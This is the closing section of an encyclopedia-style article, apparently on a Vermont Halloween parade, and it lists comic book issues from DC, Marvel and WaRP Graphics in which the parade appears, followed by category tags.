Ghosts #95 — "All the Stage Is a Haunt," by Paul Kupperberg, Michael R. Adams, and Tex Blaisdell (DC, Dec. 1980)
Defenders #100 — by J. M. DeMatteis, Don Perlin, and Joe Sinnott (Marvel, Oct. 1981)
Thunderbunny #5 "Moonlight Miss," by Martin L. Greim and Brian Buniak (WaRP Graphics, Feb. 1986)
Animal Man #50 — "Journal of a Plague Year," by Tom Veitch and Steve Dillon (DC, Aug. 1992)
Generation X #22 — "All Hallows Eve," by Scott Lobdell, Chris Bachalo, Al Vey, and Scott Hanna (Marvel, Dec. 1996)
Superboy and the Ravers #16 — "Half-Life of the Party," by Steve Mattsson, Karl Kesel, Josh Hood, and Dan Davis (DC, Dec. 1997)
References
External links
Skellies
DC Comics locations
Halloween events in the United States
Marvel Comics locations
Parades in the United States
Vermont culture
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.